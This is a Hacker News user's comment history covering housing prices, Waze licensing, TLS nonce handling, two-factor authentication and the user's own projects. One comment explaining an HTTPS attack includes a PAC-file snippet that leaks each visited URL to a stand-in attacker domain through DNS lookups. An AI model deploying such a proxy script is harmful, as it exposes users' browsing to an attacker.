Hacker News Reader

zhuzhuoron Hash-based Signatures: An illustrated Primer

The article is about hash-based signatures, not signatures in general or public-key signatures (DSA or RSA).

zhuzhuoron Vancouver house prices are falling

Perhaps, as some other persons commented on the thread, the housing price at Vancouver was pushed high by oversea money? The other cities were not like this?

zhuzhuoron Vancouver house prices are falling

IMO, the timing also coincides with Chinese government's several actions of tightening regulations for foreign exchanges/purchases. So it may be a combination of multiple factors (not sure which one is more significant)

See https://www.ft.com/content/87d8a7e8-cfe8-11e6-b06b-680c49b4b...

zhuzhuoron Ask HN: How do you get notified about newest research papers in your field?

For crypto papers, I wrote a twitter bot to track all updates on the IACR ePrint archive: https://twitter.com/IACRePrint

I basically just check my twitter account daily (also follow many great researchers who have twitter accounts :))

zhuzhuoron China, Not Silicon Valley, Is Cutting Edge in Mobile Tech

It basically means the lacking of credit systems and mature fraud detections. If you lose your (credit) card or leak your credit card number, the bank won't probably reimburse your financial losses. Compared to credit cards, mobile payments may be more secure.

zhuzhuoron New attack that cripples HTTPS crypto works on Macs, Windows, and Linux

From the description in the article, I guess the attack might use a PAC file like the following

  function FindProxyForURL(url, host) {
    return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
  }

Then the attacker can look at his/her DNS server query log and figure out the URL.

zhuzhuoron Mkdown

Shameless plug :)

http://jist.in

zhuzhuoron Amazon granted patent for taking photos against a white background

It seems the patent has four inventors, but tinasu isn't one of them. Where did you get the name from?

zhuzhuoron Lawsuit: Waze owes 'open-source' programmers $150 million

Maybe more background to add to the story:

Originally, the source code of Waze clients was released under GPL, which AFAIR it was as branded as a part of the community-based map app.

But the company chose to not release the source code after v3.0. This is quoted from one of my emails.

    In reply to your inquiry "Hi, where can we get the latest waze code?":
    
    Thank you for your feedback.
    
    You can find source code for the old versions (up to 2.4) on our wiki - waze.com/wiki
    
    Version 3.0 and higher are no longer under GPL, and at the moment we are still considering if and how we will share the code for these versions.
    
    Best regards,

I guess Waze either 1) has obtained the agreements of all open-source contributors, or 2) has completely rewritten all related source code.

zhuzhuoron Free static page hosting on Google App Engine in minutes

CloudFront allows naked domains, so you can use naked domains for almost anything if you place a layer of CF before it.

For example, for this case of GAE, you can use

  Naked domains <=> CloudFront <=> GAE

zhuzhuoron Introducing Open Salaries at Buffer

I found one thing interesting is that only 4 out of 17 people choose equity over $10k salary. Even CTO chooses salary.

I am curious if this is common in startup companies, since I have never worked in startups.

zhuzhuoron Bitcoin Falls 20% on PBOC Rumors, Chinese Exchanges Reinstate Fees

(I speak Chinese.) The "rumor" seems already be verified by newspaper and media.

See the article [1] on the website of Xinhuanet [2].

[1] http://news.xinhuanet.com/fortune/2013-12/17/c_125874796.htm

[2] http://en.wikipedia.org/wiki/Xinhua_News_Agency

zhuzhuoron Kima15: $150K for 15% in 15 days

Thanks. It's much better for me now

zhuzhuoron Kima15: $150K for 15% in 15 days

off-topic: the red background seriously hurts my eyes

zhuzhuoron CyanogenMod Installer Application Removed from Play Store

quoted from the article:

After reaching out to the Play team, their feedback was that though application itself is harmless, and not actually in violation of their Terms of Service,...

zhuzhuoron Bitcoin payment processor BIPS compromised, 1295 BTC stolen

Since every bitcoin transaction is in public, why don't we build a public blacklist for these addresses with stolen coins (and all addresses these bitcoins further transferred to)? such that the hackers cannot get too much from their actions

zhuzhuoron A Roster of TLS Cipher Suites Weaknesses

Do you know why is TLS doing that?

But even without the 4 bytes, 64-bit nonce seems enough for me, as long as it's not chosen at random.

For comparison, if the nonce is chosen randomly, the security level is only 2^32 (supposing the 4 bytes based on the key materials remain unchanged).

zhuzhuoron A Roster of TLS Cipher Suites Weaknesses

The second nit with AES-GCM is that, as integrated in TLS, implementations are free to use a random nonce value. However, the size of this nonce (8 bytes) is too small to safely support using this mode. Implementations that do so are at risk of a catastrophic nonce reuse after sending on the order of a terabyte of data on a single connection. This issue can be resolved by using a counter for the nonce but using random nonces is the most common practice at this time.

I don't know how do you integrate AES-GCM with TLS, but I have to say

1. The secure AES-GCM supports 96-bit nonces. It's 12 bytes, not 8 bytes mentioned in the article.

2. Nonce is nonce. It shouldn't be chosen at random (as random IVs). As long as nonces are not reused, GCM should be secure.

3. I don't believe implementing a secure random number generator is more efficient than maintaining an incremental counter.

Edited for typos

zhuzhuoron Usersnap – Visual Bug Tracking

What concerns me more than the pricing is their monthly limits. $99/m can only allow 300 feedback forms collected in each month. That is only 10 per day

zhuzhuoron Adi Shamir Prevented from Attending Crypto and Cryptology Conferences

AFAIK, USA has been a second choice for crypto-related conferences for many years. If you ever attended one such conference, you will notice there will always some speakers/presenters couldn't attend due to visa issues. I guess many US people aren't even aware of this, but visa problem has been a huge pain for non US citizens. You can ask about this if you have any friends who are international students or H1B workers.

zhuzhuoron BBM Available for Android and iPhone

I had a BB 9800 and a BB 9900 before, and switched to Android phones for couples of years. From my own experience, BBM is still the most stable and comfortable IM app on mobile phones.

I still miss the feeling about using BBM. I guess the backend service part of RIM/Blackberry is still somehow ahead of other manufacturers.

zhuzhuoron Twitter’s New Two-Factor Solution Kicks SMS to the Curb

It is very interesting to see Twitter has the similar idea with ours.

We just submitted a research paper 2 weeks ago to SPSM'13 (http://www.spsm-workshop.org/2013/). We proposed a password-free login system, of which Twitter's new 2-factor auth solution is a special case. We also discussed about the solutions to vender lock-in and 2-factor auth in the paper.

I put the paper in public for interested readers. You can download it from http://about.bozhu.me/paper/loxin.pdf

PS. We did a conceptual Android app about password-free mobile payment, under the same idea, in last year when we participating in the MintChipChallenge by the Royal Canadian Mint. The source code is available at https://github.com/Xecurity/EasyChip

zhuzhuoron Gistblog – a blogging platform for Github users

For anyone who might be interested, I made a client-side javascript clone of gist.io.

It supports listing gists with specific tags, such as "blog" (along with other features, e.g. custom css/js/html and latex)

Home page: http://jist.in

Source code: https://github.com/zhuzhuor/jist/

zhuzhuoron Plug: the brain of your devices

I sincerely doubt how ease and stable a local (actually home-based) service can be compared to cloud-based service.

zhuzhuoron Show HN: Trello for GitHub Issues

thx, this is awesome!

zhuzhuoron China listening in on Skype - Microsoft assumes you approve

It's an old story about Tom Skype. I have known Skype has two different versions for China and other countries for years.

Why do you so emphasize Microsoft in the title? Because it's Microsoft?

zhuzhuoron Welcome to a New Gist

Does any one have problems to create or modify a gist? I am having the problem since this new face of gist.

Now it's still not fixed in my case. What happened to github?

zhuzhuoron Gmail.com was down

Me too... going to disable any gmail/gtalk extension to see if it would be more stable

zhuzhuoron WhatsApp Hack

OK... I assume it's not a phishing site, which requires your phone number and password...

zhuzhuoron CloudFlare partners with Authy to implement two-factor authentication

You didn't get my point...

I know what it is based on, except the implementation details.

My question was what's the mechanism to verify the code refreshed every time the screen is turn on (which is a little different from other authenticators).